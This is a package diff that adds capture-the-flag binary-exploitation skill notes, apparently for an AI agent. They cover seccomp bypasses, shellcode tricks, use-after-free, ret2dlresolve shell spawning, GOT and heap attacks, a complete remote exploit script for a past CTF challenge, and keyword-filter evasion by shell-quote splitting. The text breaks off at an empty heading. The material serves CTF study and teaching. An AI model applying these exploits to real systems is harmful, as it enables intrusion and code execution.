ctf-agent 1.2.0

package/skills/ctf-pwn/advanced.md

@@ -0,0 +1,326 @@
+# CTF Pwn - Advanced Techniques
+
+## Table of Contents
+- [Seccomp Advanced Techniques](#seccomp-advanced-techniques)
+  - [openat2 Bypass (New Age Pattern)](#openat2-bypass-new-age-pattern)
+  - [Conditional Buffer Address Restrictions](#conditional-buffer-address-restrictions)
+  - [Shellcode Construction Without Relocations (pwntools)](#shellcode-construction-without-relocations-pwntools)
+  - [Seccomp Analysis from Disassembly](#seccomp-analysis-from-disassembly)
+- [rdx Control in ROP Chains](#rdx-control-in-rop-chains)
+- [Use-After-Free (UAF) Exploitation](#use-after-free-uaf-exploitation)
+- [JIT Compilation Exploits](#jit-compilation-exploits)
+- [Esoteric Language GOT Overwrite](#esoteric-language-got-overwrite)
+- [Heap Overlap via Base Conversion](#heap-overlap-via-base-conversion)
+- [Tree Data Structure Stack Underallocation](#tree-data-structure-stack-underallocation)
+- [ret2dlresolve](#ret2dlresolve)
+- [Kernel Exploitation](#kernel-exploitation) (basic; see [kernel.md](kernel.md) for full coverage)
+- [9-Byte test+je Timing Leak (hxp 2018)](#9-byte-testje-timing-leak-hxp-2018)
+- [RtlCaptureContext Deterministic Windows Stack Leak (Insomnihack 2017)](#rtlcapturecontext-deterministic-windows-stack-leak-insomnihack-2017)
+- [IEEE 754 Double-as-Shellcode via Exponent Fixing (Kaspersky 2018)](#ieee-754-double-as-shellcode-via-exponent-fixing-kaspersky-2018)
+- [PIE Bypass via Consistent glibc Load Base 0x56555000 (TAMUctf 2019)](#pie-bypass-via-consistent-glibc-load-base-0x56555000-tamuctf-2019)
+
+**See also:** [heap-techniques.md](heap-techniques.md) — House of Apple 2, House of Einherjar, House of Orange/Spirit/Lore/Force, heap grooming, custom allocator exploitation (nginx, talloc), classic unlink, musl libc heap, tcache stashing unlink
+
+---
+
+## Seccomp Advanced Techniques
+
+### openat2 Bypass (New Age Pattern)
+
+`openat2` (syscall 437, Linux 5.6+) frequently missed in seccomp filters blocking `open`/`openat`:
+```python
+# struct open_how { u64 flags; u64 mode; u64 resolve; }  = 24 bytes
+# openat2(AT_FDCWD, filename, &open_how, sizeof(open_how))
+```
+
+### Conditional Buffer Address Restrictions
+
+Seccomp `SCMP_CMP_LE`/`SCMP_CMP_GE` on buffer addresses:
+- `read()` KILL if buf <= code_region + X → read to high addresses
+- `write()` KILL if buf >= code_region + Y → write from low addresses
+
+**Bypass:** Read into allowed region, `rep movsb` copy to write-allowed region:
+```nasm
+lea rsi, [r14 + 0xc01]   ; buf > code_region+0xc00 (passes read check)
+xor rax, rax              ; __NR_read
+syscall
+mov r13, rax
+lea rsi, [r14 + 0xc01]   ; src (high)
+lea rdi, [r14 + 0x200]   ; dst (low, < code_region+0x400)
+mov rcx, r13
+rep movsb
+mov rdi, 1
+lea rsi, [r14 + 0x200]   ; buf < code_region+0x400 (passes write check)
+mov rdx, r13
+mov rax, 1                ; __NR_write
+syscall
+```
+
+### Shellcode Construction Without Relocations (pwntools)
+
+pwntools `asm()` fails with forward label references. Fix with manual jmp/call:
+
+```python
+body = asm('''
+    pop rbx              /* rbx = address after call instruction */
+    mov r14, rbx
+    and r14, -4096       /* page-align for code_region base */
+    mov rsi, rbx         /* filename pointer */
+    /* ... rest of shellcode ... */
+fail:
+    mov rdi, 1
+    mov rax, 60
+    syscall
+''')
+call_offset = -(len(body) + 5)
+call_instr = b'\xe8' + p32(call_offset & 0xffffffff)
+jmp_instr = b'\xeb' + bytes([len(body)]) if len(body) < 128 else b'\xe9' + p32(len(body))
+shellcode = jmp_instr + body + call_instr + b"filename.txt\x00"
+# call pushes filename address onto stack, pop rbx retrieves it
+```
+
+### Seccomp Analysis from Disassembly
+
+```c
+seccomp_rule_add(ctx, action, syscall_nr, arg_count, ...)
+```
+
+`scmp_arg_cmp` struct: `arg` (+0x00, uint), `op` (+0x04, int), `datum_a` (+0x08, u64), `datum_b` (+0x10, u64)
+
+SCMP_CMP operators: `NE=1, LT=2, LE=3, EQ=4, GE=5, GT=6, MASKED_EQ=7`
+
+Default action `0x7fff0000` = `SCMP_ACT_ALLOW`
+
+---
+
+## rdx Control in ROP Chains
+
+See [rop-and-shellcode.md](rop-and-shellcode.md#rdx-control-in-rop-chains) for full details and code examples.
+
+---
+
+## Use-After-Free (UAF) Exploitation
+
+**Pattern:** Menu create/delete/view where `free()` doesn't NULL pointer.
+
+**Classic UAF flow:**
+1. Create object A (allocates chunk with function pointer)
+2. Leak address via inspect/view (bypass PIE)
+3. Free object A (creates dangling pointer)
+4. Allocate object B of **same size** (reuses freed chunk via tcache)
+5. Object B data overwrites A's function pointer with `win()` address
+6. Trigger A's callback -> jumps to `win()`
+
+**Key insight:** Both structs must be the same size for tcache to reuse the chunk.
+
+```python
+create_report("sighting-0")  # 64-byte struct with callback ptr at +56
+leak = inspect_report(0)      # Leak callback address for PIE bypass
+pie_base = leak - redaction_offset
+win_addr = pie_base + win_offset
+
+delete_report(0)              # Free chunk, dangling pointer remains
+create_signal(b"A"*56 + p64(win_addr))  # Same-size struct overwrites callback
+analyze_report(0)             # Calls dangling pointer -> win()
+```
+
+---
+
+## JIT Compilation Exploits
+
+**Pattern (Santa's Christmas Calculator):** Off-by-one in instruction encoding causes misaligned machine code.
+
+**Exploitation flow:**
+1. Find the boundary value that triggers wrong instruction form (e.g., 128 vs 127)
+2. Misaligned bytes become executable instructions
+3. Control `rax` to survive invalid dereferences (point to writable memory)
+4. Embed shellcode as operand bytes of subtraction operations
+5. Chain 4-byte shellcode blocks with 2-byte `jmp` instructions between them
+
+**2-byte instruction shellcode tricks:**
+- `push rdx; pop rsi` = `mov rsi, rdx` in 2 bytes
+- `xor eax, eax` = 2 bytes (set syscall number)
+- `not dl` = 2 bytes (adjust pointer)
+- Use `sys_read` to stage full shellcode on RWX page, then jump to it
+
+## Esoteric Language GOT Overwrite
+
+**Pattern (Pikalang):** Brainfuck/Pikalang interpreter with unbounded tape allows arbitrary memory access.
+
+**Exploitation:**
+1. Tape pointer starts at known buffer address
+2. Move pointer backward/forward to reach GOT entry (e.g., `strlen@GOT`)
+3. Overwrite GOT entry byte-by-byte with `system()` address
+4. Next call to overwritten function triggers `system(controlled_string)`
+
+**Key insight:** Unbounded tape = arbitrary read/write primitive relative to buffer base.
+
+## Heap Overlap via Base Conversion
+
+**Pattern (Santa's Base Converter):** Number stored as string in different bases has different lengths.
+
+**Exploitation:**
+1. Store number in base with short representation (e.g., base-36)
+2. Convert to base with longer representation (e.g., base-2/binary)
+3. Longer string overflows into adjacent heap chunk metadata
+4. Corrupted chunk overlaps with target allocation
+
+**Limited charset constraint:** Only digits/letters available (0-9, a-z) limits writable byte values.
+
+## Tree Data Structure Stack Underallocation
+
+**Pattern (Christmas Trees):** Imbalanced binary tree causes stack buffer underallocation.
+
+**Vulnerability:** Stack allocation based on balanced tree assumption (`2^depth` nodes), but actual traversal of imbalanced tree uses more stack than allocated buffer, causing overflow.
+
+**Exploitation:** Craft tree structure that causes traversal to overflow buffer → overwrite return address → ret2win (partial overwrite if PIE).
+
+---
+
+## ret2dlresolve
+
+**Pattern:** Forge `Elf64_Sym` and `Elf64_Rela` structures to trick the dynamic linker into resolving an arbitrary function (e.g., `system`) at the next PLT call. Bypasses ASLR without any libc leak.
+
+```python
+from pwn import *
+
+# pwntools has built-in ret2dlresolve support
+rop = ROP(elf)
+dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
+
+rop.read(0, dlresolve.data_addr)  # Read forged structures to known address
+rop.ret2dlresolve(dlresolve)       # Trigger resolution
+
+# Stage 1: Send ROP chain
+io.sendline(flat({offset: rop.chain()}))
+
+# Stage 2: Send forged dl-resolve payload
+io.sendline(dlresolve.payload)
+```
+
+**Manual approach (understanding the internals):**
+```python
+# Forge at a writable address (e.g., .bss)
+# 1. Fake Elf64_Rela: points PLT slot to our fake Elf64_Sym
+# 2. Fake Elf64_Sym: st_name offset points to our "system" string
+# 3. "system\x00" string
+
+SYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB')
+STRTAB = elf.dynamic_value_by_tag('DT_STRTAB')
+JMPREL = elf.dynamic_value_by_tag('DT_JMPREL')
+
+# Calculate reloc_index so PLT stub pushes correct index
+reloc_index = (fake_rela_addr - JMPREL) // 0x18  # sizeof(Elf64_Rela)
+
+# Fake Elf64_Sym.st_name = offset from STRTAB to our "system" string
+fake_sym_st_name = fake_string_addr - STRTAB
+```
+
+**Key insight:** ret2dlresolve works without ANY leak. It exploits the lazy binding mechanism: when a PLT function is called for the first time, the dynamic linker looks up the symbol name and resolves it. By forging the lookup structures, you can make it resolve any libc function. Use pwntools' `Ret2dlresolvePayload` for automation.
+
+**Requirements:** Partial RELRO (Full RELRO resolves all symbols at load time, defeating this). Writable memory to place forged structures.
+
+---
+
+## Kernel Exploitation
+
+For comprehensive kernel exploitation techniques, see [kernel.md](kernel.md). Quick reference:
+
+- `modprobe_path` overwrite for root code execution (requires AAW)
+- `tty_struct` kROP via fake vtable and stack pivot
+- `userfaultfd` for deterministic race conditions
+- Heap spray with `tty_struct`, `poll_list`, `user_key_payload`, `seq_operations`
+- KASLR/FGKASLR/SMEP/SMAP/KPTI bypass techniques
+- Kernel config recon checklist
+
+**Basic patterns (userland-adjacent):**
+- OOB via vulnerable `lseek` handlers
+- Heap grooming with forked processes
+- SUID binary exploitation via kernel-to-userland buffer overflow
+- Check kernel config for disabled protections:
+  - `CONFIG_SLAB_FREELIST_RANDOM=n` → sequential heap chunks
+  - `CONFIG_SLAB_MERGE_DEFAULT=n` → predictable allocations
+
+---
+
+## 9-Byte test+je Timing Leak (hxp 2018)
+
+**Pattern:** The shellcode slot is only 9 bytes — too small for a full read/write. Write a 7-byte `test BYTE PTR [rip+0x2], imm8` followed by a 2-byte `je 0` (infinite loop on zero flag). Read the flag one bit at a time by flipping the immediate, then close the socket and measure round-trip time: `<2 s` = crashed (bit differs from imm), `>2 s` = hung (bit matches, loop fired).
+
+```asm
+f6 05 02 00 00 00 X    test BYTE PTR [rip+0x2], X
+74 fe                  je   0
+```
+
+**Key insight:** Tiny shellcode budgets can still leak a full flag if you turn the loop / crash distinction into a 1-bit channel. Any operation that hangs on one branch and crashes on the other works — `hlt`, page faults, or explicit infinite loops.
+
+**References:** hxp CTF 2018 — yunospace, writeup 12570
+
+---
+
+## RtlCaptureContext Deterministic Windows Stack Leak (Insomnihack 2017)
+
+**Pattern:** Need a stack leak on Windows with ASLR but no format string. `ntdll!RtlCaptureContext(&ctx)` writes the current register set (including `Rsp`) into a user-supplied `CONTEXT` struct. Call it once from attacker-chosen code, then read `ctx.Rsp` from the same buffer.
+
+```c
+CONTEXT ctx;
+RtlCaptureContext(&ctx);
+printf("rsp = %p\n", (void*)ctx.Rsp);
+```
+
+**Key insight:** Windows NT API has several "dump register state" helpers intended for unwinding and exception handling. They behave as deterministic info-leak primitives for exploitation because they copy `RSP` verbatim into user memory with no randomisation.
+
+**References:** Insomnihack 2017 — winworld, writeup 12876
+
+---
+
+## IEEE 754 Double-as-Shellcode via Exponent Fixing (Kaspersky 2018)
+
+**Pattern:** Challenge writes exactly six 8-byte IEEE 754 doubles into a buffer and then computes `(d1 + d2 + d3 + d4 + d5 + d6) / 6` — the result is executed. Force every summand to have exponent bits `0x4330` (`1075 = 1023 + 52`), which gives an exactly-representable 52-bit integer, so double addition behaves like integer addition with no rounding. Encode the target shellcode as an integer, pick `d6` so the sum hits it exactly.
+
+```python
+def shellcode_to_double(bytes_):
+    # Pin exponent so the payload bits are preserved
+    return struct.unpack('d', b'\x30\x43' + bytes_[:6])[0]
+
+d1 = shellcode_to_double(sc[ 0: 6])
+d2 = shellcode_to_double(sc[ 6:12])
+d3 = shellcode_to_double(sc[12:18])
+d4 = shellcode_to_double(sc[18:24])
+d5 = shellcode_to_double(sc[24:30])
+# d6 chosen so 6*target == d1+d2+d3+d4+d5+d6
+target_int = int_from_shellcode(sc_full)
+d6 = 6*target_int - (d1_int + d2_int + d3_int + d4_int + d5_int)
+```
+
+**Key insight:** IEEE 754 doubles are lossless integer containers whenever the exponent field is fixed at `bias + 52`. Any "you can only write N doubles" primitive is equivalent to "you can write N×6 bytes of raw data", as long as you control the exponent bits. Works identically for 32-bit floats (`bias + 23`) and long doubles.
+
+**References:** Kaspersky Industrial CTF 2018 — doubles, writeups 12324, 12326
+
+---
+
+## PIE Bypass via Consistent glibc Load Base 0x56555000 (TAMUctf 2019)
+
+**Pattern (pwn2):** PIE-enabled 32-bit ELF with no leak primitive. A function pointer on the stack is called after `strcpy`ing user input into a 30-byte buffer; overwriting the pointer lets us pick any code target — but the randomised base normally blocks picking `print_flag`. Observation: on the challenge runtime (and many default glibc configurations for i386 PIE binaries), the loader places the executable at the fixed base `0x56555000` across runs. That makes PIE effectively a known-offset: `print_flag = 0x56555000 + 0x6dc`, reachable without any leak.
+
+```python
+# `gdb -q ./pwn2` -> `info proc mappings`
+# 0x56555000 0x56556000 0x1000    0x0 ./pwn2
+# 0x56556000 0x56557000 0x1000    0x0 ./pwn2
+# print_flag symbol offset: 0x6dc
+
+from pwn import *
+
+PIE_BASE = 0x56555000
+print_flag = PIE_BASE + 0x6dc
+
+payload  = cyclic(30)           # buffer(30) -> reaches the fn pointer slot
+payload += p32(print_flag)      # overwrite var_C called after strcmp
+io = remote('pwn.tamuctf.com', 4322)
+io.sendline(payload)
+io.interactive()
+```
+
+**Key insight:** 32-bit PIE on many distros emits `ET_DYN` with a stock `mmap_base` of `0x56555000` because `brk_randomization` and ASLR entropy are minimal. If `info proc mappings` shows the same base across multiple runs (in the challenge container or in gdb with `set disable-randomization on`), treat the "random" base as a constant. Always enumerate map bases before assuming a leak is required — the same trick applies to stacks started under `ulimit -s unlimited` (base becomes `0x7fff_f000` deterministically).
+
+**References:** TAMUctf 2019 — pwn2, writeup 13423

package/skills/ctf-pwn/field-notes.md

@@ -0,0 +1,245 @@
+# Pwn Field Notes
+
+Detailed pwn notes that support [`SKILL.md`](SKILL.md). Read this file after confirming the challenge really needs exploitation.
+
+## Table of Contents
+
+- [Heap Exploitation](#heap-exploitation)
+- [Additional Exploit Notes](#additional-exploit-notes)
+  - [talloc Pool Header Forgery](#talloc-pool-header-forgery)
+  - [JIT Compilation Exploits](#jit-compilation-exploits)
+  - [Type Confusion in Interpreters](#type-confusion-in-interpreters)
+  - [Off-by-One Index / Size Corruption](#off-by-one-index--size-corruption)
+  - [Double win() Call](#double-win-call)
+  - [Arbitrary Read/Write to Shell via GOT Overwrite](#arbitrary-readwrite-to-shell-via-got-overwrite)
+  - [Stack Leak via __environ and memcpy Overflow](#stack-leak-via-__environ-and-memcpy-overflow)
+  - [JIT Sandbox Escape via uint16 Jump Truncation](#jit-sandbox-escape-via-uint16-jump-truncation)
+  - [DNS Compression Pointer Stack Overflow](#dns-compression-pointer-stack-overflow)
+  - [ELF Code Signing Bypass via Program Headers](#elf-code-signing-bypass-via-program-headers)
+  - [Game Level Format Signed/Unsigned Coordinate Mismatch](#game-level-format-signedunsigned-coordinate-mismatch)
+  - [File Descriptor Inheritance via Missing O_CLOEXEC](#file-descriptor-inheritance-via-missing-o_cloexec)
+  - [Sign Extension Integer Underflow in Metadata Parsing](#sign-extension-integer-underflow-in-metadata-parsing)
+  - [ROP Chain Construction with Read-Only Primitive](#rop-chain-construction-with-read-only-primitive)
+  - [Esoteric Language GOT Overwrite](#esoteric-language-got-overwrite)
+  - [Protocol Stack Bleeding](#protocol-stack-bleeding)
+  - [Timing Attack Flag Recovery](#timing-attack-flag-recovery)
+  - [DNS Record Buffer Overflow](#dns-record-buffer-overflow)
+  - [ASAN Shadow Memory Exploitation](#asan-shadow-memory-exploitation)
+  - [Format String .fini_array Loop for Multi-Stage Exploitation](#format-string-fini_array-loop-for-multi-stage-exploitation)
+  - [Format String with RWX .fini_array Hijack](#format-string-with-rwx-fini_array-hijack)
+  - [Custom Canary Preservation](#custom-canary-preservation)
+  - [MD5 Preimage Gadget Construction](#md5-preimage-gadget-construction)
+  - [Python Sandbox Escape](#python-sandbox-escape)
+  - [VM GC-Triggered UAF (Slab Reuse)](#vm-gc-triggered-uaf-slab-reuse)
+  - [GC Null-Reference Cascading Corruption](#gc-null-reference-cascading-corruption)
+  - [OOB Read via Stride/Rate Leak](#oob-read-via-striderate-leak)
+  - [SROP with UTF-8 Constraints](#srop-with-utf-8-constraints)
+  - [VM Exploitation (Custom Bytecode)](#vm-exploitation-custom-bytecode)
+  - [FUSE/CUSE Character Device Exploitation](#fusecuse-character-device-exploitation)
+  - [Busybox/Restricted Shell Escalation](#busyboxrestricted-shell-escalation)
+  - [process_vm_readv Sandbox Bypass](#process_vm_readv-sandbox-bypass)
+  - [Named Pipe (mkfifo) File Size Bypass](#named-pipe-mkfifo-file-size-bypass)
+  - [Shell Tricks](#shell-tricks)
+  - [Double Stack Pivot to BSS via leave;ret](#double-stack-pivot-to-bss-via-leaveret)
+  - [RETF Architecture Switch for Seccomp Bypass](#retf-architecture-switch-for-seccomp-bypass)
+  - [Leakless Libc via Multi-fgets stdout FILE Overwrite](#leakless-libc-via-multi-fgets-stdout-file-overwrite)
+  - [Signed/Unsigned Char Underflow to Heap Overflow](#signedunsigned-char-underflow-to-heap-overflow)
+  - [TLS Destructor Hijack via `__call_tls_dtors`](#tls-destructor-hijack-via-__call_tls_dtors)
+  - [Signed Int Overflow to Negative OOB Heap Write](#signed-int-overflow-to-negative-oob-heap-write)
+  - [Custom Shadow Stack Bypass via Pointer Overflow](#custom-shadow-stack-bypass-via-pointer-overflow)
+  - [Windows SEH Overwrite + VirtualAlloc ROP](#windows-seh-overwrite--virtualalloc-rop)
+  - [SeDebugPrivilege to SYSTEM](#sedebugprivilege-to-system)
+  - [mmap/munmap Size Mismatch UAF](#mmapmunmap-size-mismatch-uaf)
+  - [strcspn Indirect Null Byte Injection](#strcspn-indirect-null-byte-injection)
+  - [Windows CFG Bypass Using system() as Valid Call Target](#windows-cfg-bypass-using-system-as-valid-call-target)
+  - [4-Byte Shellcode with Timing Side-Channel](#4-byte-shellcode-with-timing-side-channel)
+  - [CRC Oracle as Arbitrary Read Primitive](#crc-oracle-as-arbitrary-read-primitive)
+  - [UTF-8 Case Conversion Buffer Overflow](#utf-8-case-conversion-buffer-overflow)
+- [Useful Commands](#useful-commands)
+
+## Heap Exploitation
+
+- tcache poisoning (glibc 2.26+), fastbin dup / double free
+- House of Force (old glibc), unsorted bin attack
+- **House of Apple 2** (glibc 2.34+): FSOP (File Stream Oriented Programming) via `_IO_wfile_jumps` when `__free_hook`/`__malloc_hook` removed. Fake FILE with `_flags = " sh"`, vtable chain → `system(fp)`. For SUID binaries: use `setcontext()` variant to stack pivot → `setuid(0)` → `system()` (dash drops privs when uid != euid). See [heap-techniques.md](heap-techniques.md#setcontext-variant-for-suid-binaries-midnight-flag-2026).
+- **Classic unlink**: Corrupt adjacent chunk metadata, trigger backward consolidation for write-what-where primitive. Pre-2.26 glibc only. See [heap-techniques.md](heap-techniques.md#classic-heap-unlink-attack-crypto-cat).
+- **House of Force:** Corrupt top chunk size to `0xffffffffffffffff`, next `malloc(target - top - 2*SIZE_SZ)` returns arbitrary address. Pre-2.29 glibc only. See [heap-techniques.md](heap-techniques.md#house-of-force-csaw-ctf-2016).
+- **House of Einherjar**: Off-by-one null clears PREV_INUSE, backward consolidation with self-pointing unlink.
+- **Safe-linking** (glibc 2.32+): tcache fd mangled as `ptr ^ (chunk_addr >> 12)`.
+- Check glibc version: `strings libc.so.6 | grep GLIBC`
+- Freed chunks contain libc pointers (fd/bk) -> leak via error messages or missing null-termination
+- Heap feng shui: control alloc order/sizes, create holes, place targets adjacent to overflow source
+- **Unsafe unlink + top chunk consolidation**: After unlink writes self-pointer to BSS, craft fake BSS chunk spanning to top chunk. `free()` consolidates, relocating heap base to BSS. Subsequent mallocs return BSS memory. See [heap-techniques.md](heap-techniques.md#unsafe-unlink-to-bss--top-chunk-consolidation-seccon-2016).
+
+**House of Orange:** Corrupt top chunk size → large malloc forces sysmalloc → old top freed without calling `free()`. Chain with FSOP. See [heap-techniques.md](heap-techniques.md#house-of-orange).
+
+**House of Spirit:** Forge fake chunk in target area, `free()` it, reallocate to get write access. Requires valid size + next chunk size. See [heap-techniques.md](heap-techniques.md#house-of-spirit).
+
+**House of Lore:** Corrupt smallbin `bk` → link fake chunk → second malloc returns attacker-controlled address. See [heap-techniques.md](heap-techniques.md#house-of-lore).
+
+**ret2dlresolve:** Forge Elf64_Sym/Rela to resolve arbitrary libc function without leak. `Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])`. Requires Partial RELRO. See [advanced.md](advanced.md#ret2dlresolve).
+
+**tcache stashing unlink (glibc 2.29+):** Corrupt smallbin chunk's `bk` during tcache stashing → arbitrary address linked into tcache → write primitive. See [heap-techniques.md](heap-techniques.md#tcache-stashing-unlink-attack).
+
+**UAF vtable pointer encoding shell argument:** After UAF, heap spray places `system()` at offset +3. Object address containing `0x6873` ("sh") in low bytes doubles as the command string argument when `system(this)` is called through the hijacked vtable. See [heap-techniques-2.md](heap-techniques-2.md#uaf-vtable-pointer-encoding-shell-argument-bctf-2017).
+
+**Fastbin stdout vtable two-stage hijack (PIE + Full RELRO):** Use 0x7f byte in libc's stdout region as fake fastbin chunk size. Two-stage: first vtable redirect to `gets()` (rdi=stdout), then `gets()` overwrites vtable again to `system()` with command string. See [heap-techniques.md](heap-fsop.md#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017).
+
+See [heap-techniques.md](heap-techniques.md) for House of Apple 2 FSOP chain (+ setcontext SUID variant), House of Orange/Spirit/Lore/Force, tcache stashing unlink, custom allocator exploitation (nginx pools, talloc), classic unlink, musl libc heap. See [advanced.md](advanced.md) for ret2dlresolve, heap overlap via base conversion, tree data structure stack underallocation.
+
+**GF(2) Gaussian elimination for tcache poisoning:** When a deterministic XOR cipher corrupts heap metadata as a side effect, model the corruption as linear algebra over GF(2). Find a subset of cipher seeds whose combined XOR transforms tcache `fd` from current value to target address. See [advanced-exploits-4.md](advanced-exploits-4.md#gf2-gaussian-elimination-for-multi-pass-tcache-poisoning-midnight-flag-2026).
+
+## Additional Exploit Notes
+
+### talloc Pool Header Forgery
+**Pattern:** talloc (hierarchical allocator in Samba/CUPS) pool header forgery. Forge fake pool header with controlled `end`/`object_count` fields to redirect next `talloc()` to arbitrary address. Leak GOT for libc, write `__free_hook` with `system()`. See [heap-techniques.md](heap-techniques.md#talloc-pool-header-forgery-for-arbitrary-readwrite-boston-key-party-2016).
+
+### JIT Compilation Exploits
+**Pattern:** Off-by-one in instruction encoding -> misaligned machine code. Embed shellcode as operand bytes of subtraction operations, chain with 2-byte `jmp` instructions. See [advanced.md](advanced.md).
+
+**BF JIT unbalanced bracket:** Unbalanced `]` pops tape address (RWX) from stack → write shellcode to tape with `+`/`-`, trigger `]` to jump to it. See [advanced.md](advanced.md).
+
+### Type Confusion in Interpreters
+**Pattern:** Interpreter sets wrong type tag → struct fields reinterpreted. Unused padding bytes in one variant become active pointers/data in another. Flag bytes as type value trigger UNKNOWN_DATA dump. See [advanced.md](advanced.md).
+
+### Off-by-One Index / Size Corruption
+**Pattern:** Array index 0 maps to `entries[-1]`, overlapping struct metadata (size field). Corrupted size → OOB read leaks canary/libc, then OOB write places ROP chain. See [advanced.md](advanced.md).
+
+### Double win() Call
+**Pattern:** `win()` checks `if (attempts++ > 0)` — needs two calls. Stack two return addresses: `p64(win) + p64(win)`. See [advanced.md](advanced.md).
+
+### Arbitrary Read/Write to Shell via GOT Overwrite
+**Pattern:** Binary provides explicit read/write primitives. Leak libc via GOT read, overwrite `strtoll@GOT` with `system`, next call becomes `system(user_input)`. Choose GOT targets where the function takes a user-controlled string as first arg. See [advanced-exploits-3.md](advanced-exploits-3.md#arbitrary-readwrite-to-shell-via-got-overwrite-bsidessf-2026).
+
+### Stack Leak via __environ and memcpy Overflow
+**Pattern:** Binary with read-only primitive and `memcpy(stack_buf, user_addr, user_len)`. Leak libc via GOT, leak stack via `__environ`, plant ROP addresses in input buffer, overflow memcpy to copy them over return address, send EOF to trigger return. See [advanced-exploits-3.md](advanced-exploits-3.md#stack-leak-via-__environ-and-memcpy-overflow-bsidessf-2026).
+
+### JIT Sandbox Escape via uint16 Jump Truncation
+**Pattern:** JIT compiler truncates conditional jump offset to uint16, causing misalignment when code exceeds 64KB. Embed 2-byte shellcode fragments in `add` immediates, thread with `jmp $+3` to chain execution. See [advanced-exploits-3.md](advanced-exploits-3.md#jit-sandbox-escape-via-conditional-jump-uint16-truncation-bsidessf-2026).
+
+### DNS Compression Pointer Stack Overflow
+**Pattern:** Custom DNS server doesn't track decompressed name length. Compression pointer chains revisit data, overflowing stack buffer. Split ROP chain across multiple DNS question entries. See [advanced-exploits-3.md](advanced-exploits-3.md#dns-compression-pointer-stack-overflow-with-multi-question-rop-bsidessf-2026).
+
+### ELF Code Signing Bypass via Program Headers
+**Pattern:** Signing scheme hashes section headers/content but not program headers. Append shellcode, modify LOAD segment's `p_offset` to point to appended data — signature still valid, loader executes attacker code. See [advanced-exploits-3.md](advanced-exploits-3.md#elf-code-signing-bypass-via-program-header-manipulation-bsidessf-2026).
+
+### Game Level Format Signed/Unsigned Coordinate Mismatch
+**Pattern:** Level editor parses signed integer coordinates but bounds-checks via unsigned comparison — negative coordinates pass the check and write block IDs (arbitrary bytes) before the level array, enabling stack return address overwrite. Leak stack address via hidden developer mode, encode shellcode as block IDs. See [advanced-exploits-3.md](advanced-exploits-3.md#game-level-format-signedunsigned-coordinate-mismatch-bsidessf-2026).
+
+### File Descriptor Inheritance via Missing O_CLOEXEC
+**Pattern:** Service reads secret into `memfd_create()` FD without `MFD_CLOEXEC`, then calls `system()` for user commands — child inherits the FD. Bypass `strstr()` keyword filters with shell quote splitting (`p'r'oc` instead of `proc`) to read `/proc/self/fd/N`. See [advanced-exploits-3.md](advanced-exploits-3.md#file-descriptor-inheritance-via-missing-o_cloexec-bsidessf-2026).
+
+### Sign Extension Integer Underflow in Metadata Parsing
+**Pattern:** Metadata parser's `to_int32` converts unsigned values >= 0x80000000 to negative signed integers. Used as array index/offset, this causes OOB memory access. Iterate byte-by-byte to leak flag from memory. See [advanced-exploits-3.md](advanced-exploits-3.md#sign-extension-integer-underflow-in-metadata-parsing-bsidessf-2026).
+
+### ROP Chain Construction with Read-Only Primitive
+**Pattern:** Binary with only `read()` primitive — no write, no win function. Leak libc via GOT, then "import" arbitrary byte values onto the stack by reading from libc offsets whose content matches desired ROP gadget addresses. Read primitive doubles as write primitive. See [advanced-exploits-3.md](advanced-exploits-3.md#rop-chain-construction-with-read-only-primitive-bsidessf-2026).
+
+### Esoteric Language GOT Overwrite
+**Pattern:** Brainfuck/Pikalang interpreter with unbounded tape = arbitrary read/write relative to buffer base. Move pointer to GOT, overwrite byte-by-byte with `system()`. See [advanced.md](advanced.md).
+
+### Protocol Stack Bleeding
+Custom network protocols echoing data based on length field leak stack memory when length exceeds actual data (Heartbleed-style). See [overflow-basics.md](overflow-basics.md#protocol-length-field-stack-bleeding-ekoparty-ctf-2016).
+
+### Timing Attack Flag Recovery
+Validation time varies per correct character; measure elapsed time per candidate byte to recover flag character-by-character. See [advanced-exploits.md](advanced-exploits.md#timing-attack-for-character-by-character-flag-recovery-rc3-ctf-2016).
+
+### DNS Record Buffer Overflow
+**Pattern:** Many AAAA records overflow stack buffer in DNS response parser. Set up DNS server with excessive records, overwrite return address. See [advanced.md](advanced.md).
+
+### ASAN Shadow Memory Exploitation
+**Pattern:** Binary with AddressSanitizer has format string + OOB write. ASAN may use "fake stack" (50% chance). Leak PIE, detect real vs fake stack, calculate OOB write offset to overwrite return address. See [advanced.md](advanced.md).
+
+### Format String .fini_array Loop for Multi-Stage Exploitation
+**Pattern:** No GOT function called after `printf()`. Overwrite `.fini_array[0]` with `main()` for re-execution loop. Stage 1: leak libc/stack. Stage 2: `printf@GOT` to `system()`, `__stack_chk_fail@GOT` to `main()`. Stage 3: corrupt canary to trigger `__stack_chk_fail` re-entry, now `printf(input)` is `system(input)`. See [format-string.md](format-string.md#format-string-fini_array-loop-for-multi-stage-exploitation-codegate-2016).
+
+### Format String with RWX .fini_array Hijack
+**Pattern (Encodinator):** Base85-encoded input in RWX memory passed to `printf()`. Write shellcode to RWX region, overwrite `.fini_array[0]` via format string `%hn` writes. Use convergence loop for base85 argument numbering. See [advanced.md](advanced.md).
+
+### Custom Canary Preservation
+**Pattern:** Buffer overflow must preserve known canary value. Write exact canary bytes at correct offset: `b'A' * 64 + b'BIRD' + b'X'`. See [advanced.md](advanced.md).
+
+### MD5 Preimage Gadget Construction
+**Pattern (Hashchain):** Brute-force MD5 preimages with `eb 0c` prefix (jmp +12) to skip middle bytes; bytes 14-15 become 2-byte i386 instructions. Build syscall chains from gadgets like `31c0` (xor eax), `cd80` (int 0x80). See [advanced.md](advanced.md) for C code and v2 technique.
+
+### Python Sandbox Escape
+AST bypass via f-strings, audit hook bypass with `b'flag.txt'` (bytes vs str), MRO-based `__builtins__` recovery. See [sandbox-escape.md](sandbox-escape.md).
+
+### VM GC-Triggered UAF (Slab Reuse)
+**Pattern:** Custom VM with NEWBUF/SLICE/GC opcodes. Slicing creates shared slab reference; dropping+GC'ing slice frees slab while parent still holds it. Allocate function object to reuse slab, leak code pointer via UAF read, overwrite with win() address. See [advanced.md](advanced.md).
+
+### GC Null-Reference Cascading Corruption
+**Pattern:** Mark-compact GC follows null references to heap address 0, creating fake object. During compaction, memmove cascades corruption through adjacent object headers → OOB access → libc leak → FSOP. See [advanced.md](advanced.md).
+
+### OOB Read via Stride/Rate Leak
